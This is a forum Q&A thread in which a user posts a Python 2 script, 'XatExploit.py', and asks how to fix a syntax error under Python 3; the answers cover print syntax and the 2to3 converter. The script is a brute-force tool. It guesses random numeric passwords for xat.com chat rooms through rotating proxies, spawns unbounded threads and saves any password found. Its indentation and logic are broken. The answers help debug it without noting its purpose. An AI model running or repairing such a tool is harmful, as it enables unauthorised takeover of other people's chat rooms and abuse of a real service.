Syntax error in .py file [closed]

-1

I searched for a .py code on the internet and at the time of running it, the following message exits:

File "C: \ Users \ Valnei \ Desktop \ XatExploit.py", line 26 print "Trying password = >" + str (String_7)

SyntaxError: invalid syntax

import random
import threading
from threading import Thread

#ArcticBear / ArcticFox / TheFox / EVERY OTHER NICKNAME X3 's Main Owner Exploit v2 (Chat Default Password Bruteforce)

global init, main, Room_3

def getBetween(strSource, strStart,strEnd):
    start = strSource.find(strStart) + len(strStart)
    end = strSource.find(strEnd,start)
    return strSource[start:end]

def xat(url):
    global Proxy_1, Proxy_2, Proxy_3, Proxy_4, Proxy_5
    Randomity = random.randint(1, 2)
    Password_1 = open("password.txt","a")
    Proxy_1 = [i.strip() for i in open('C:\Users\Valnei\Desktop\Proxies.txt','r').read().splitlines()]
    Proxy_2 = random.choice(Proxy_1)
    Proxy_3 = Proxy_2.split(':')
    Proxy_4 = 'http://' + str(Proxy_3[0]) + ':' + str(Proxy_3[1])
    if Randomity == 1:
      Page_1 = urllib.urlopen(url).read()
    else:
      Page_1 = urllib.urlopen(url, proxies = { 'http': Proxy_4 }).read()
      print "Trying password => " + str(String_7)
    try:
      Page_2 = getBetween(Page_1,'<font color=red><b> <span>','</span></b></font><BR>')
      if Page_2.find('not found') or Page_2.find('Error. Try again in 10 minutes.'):
           print("Failed!")
      else:
           print("Password found!")
           Password_1.write(str(Page_2))
 except:
      while 1:
           threading.Thread(target=main,args=()).start()
           time.sleep(2)
 while 1:
      threading.Thread(target=main,args=()).start()
      time.sleep(2)

 def init(Room):
     import random
     global String_7
     Strings_1, Strings_2 = ['a','b','c','d','e'], ['f','g','h','i','j']
     String_2 = ''.join(Strings_1)
     String_3 = ''.join(Strings_2)
     String_4 = len(String_2)
     String_5 = len(String_3)
     String_6 = int(String_4) ** 13
     String_7 = random.randint(String_6, 9999999999)
     #print str(String_7)
     xat('http://xat.com/web_gear/chat.php?id='+Room+'&pw='+str(String_7))
     time.sleep(1)

def main():
     init(Room_3)

import urllib
     Room_1 = 'NewOption'
     Room_2 = urllib.urlopen('http://xat.com/' + Room_1).read()
     Room_3 = getBetween(Room_2,'flashvars="id=','&')

     while 1:
         import time
         threading.Thread(target=main,args=()).start()
         time.sleep(1)
     while 1:
         threading.Thread(target=main,args=()).start()
         time.sleep(1)

The version of my python is 3.6.0. What do I do to fix this error?

    
asked by anonymous 10.02.2017 / 19:02

2 answers

3

You can use the 2to3 library to automatically convert a code in python2 to python3, so you would not need to downgrade python.

It should already come installed along with your python. On Linux, just enter the following command, which prints the diff needed to transform the code to python3:

2to3 source.py

Sometimes the command to be used can be a variation of 2to3, such as 2to3-3.4, for example.

In Windows, you would need a command like this, depending on where your python is installed:

python.exe C:\Python32\Tools\scriptsto3.py source.py

To translate an entire project to another folder, you would need to do this:

2to3 --output-dir=python3-version/mycode -W -n python2-version/mycode

Or, in Windows:

python.exe C:\Python32\Tools\scriptsto3.py --output-dir=python3-version/mycode -W -n python2-version/mycode

For more information about the command, see documentation .

    
10.02.2017 / 19:39
1

Missing a parenthesis, it looks like this:

print ("Trying password => " + str(String_7))

It is a compatibility problem between Python 2 and Python 3, in 2.x it works, in 3.x not.

    
10.02.2017 / 19:16